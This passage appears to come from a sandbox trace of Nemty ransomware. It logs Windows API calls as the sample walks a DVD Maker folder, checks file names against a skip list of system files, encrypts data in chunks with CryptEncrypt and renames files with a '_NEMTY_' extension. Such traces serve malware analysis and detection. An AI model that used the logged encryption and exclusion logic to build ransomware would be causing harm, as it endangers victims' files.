lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.979] CloseHandle (hObject=0xffffffff) returned 0 [0058.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0058.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0058.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.979] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png._nemty_kgobjgd_")) returned 0 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.979] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0058.979] lstrcmpiW (lpString1="mainimage-mask.png", lpString2=".") returned 1 [0058.979] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="..") returned 1 [0058.979] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="...") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="windows") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="$RECYCLE.BIN") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="rsa") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="NTDETECT.COM") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="ntldr") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="MSDOS.SYS") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="IO.SYS") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="boot.ini") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="boot.ini") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="AUTOEXEC.BAT") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="ntuser.dat") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="desktop.ini") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="CONFIG.SYS") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="RECYCLER") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="BOOTSECT.BAK") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="bootmgr") returned 1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="programdata") returned -1 [0058.980] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="appdata") returned 1 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainimage-mask.png", lpUsedDefaultChar=0x0) returned 18 [0058.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0058.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainimage-mask.png", lpUsedDefaultChar=0x0) returned 18 [0058.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0058.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainimage-mask.png", lpUsedDefaultChar=0x0) returned 18 [0058.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainimage-mask.png", lpUsedDefaultChar=0x0) returned 18 [0058.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0058.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0058.981] Sleep (dwMilliseconds=0x5) [0058.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6cd7390, dwHighDateTime=0x1d561e7)) [0058.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6cd7390, dwHighDateTime=0x1d561e7)) [0058.981] GetLastError () returned 0x5 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.982] GetLastError () returned 0x5 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.982] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0058.982] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="US7nkDpozX8muUVhRKgezu+dLvWxx1gS1l788ixe3wg3BxU30rRCuNSqPoZhaNR0\r\nQlFBuqxACQ66T6RaGslH45OZot1B2cRg6nJ6oZcravaoFLBxYiQelH8cl0gAe4em\r\nZ5Y6Mbgjcs1yxF3tWBN3iu6R1G685nkNJDMt3GCd/B+dFXpLf96rjaJwLZOVR/de\r\neVJN8xWGqQlFGC/xFr3JeG7PpPkKlypBKipHI0yttFxeDL7b23zvOBLQdky6mkXc\r\nuWhEHRxeeSdklBbKgURAvgULKVL6b24vmX1xL/dK7sRC/kho1QhtkkxarRUqlz28\r\n5N9Hm8zjzjofwT5nyt/zyw==\r\n", pcchString=0x653e91c) returned 1 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0058.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0058.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0058.982] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.982] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, 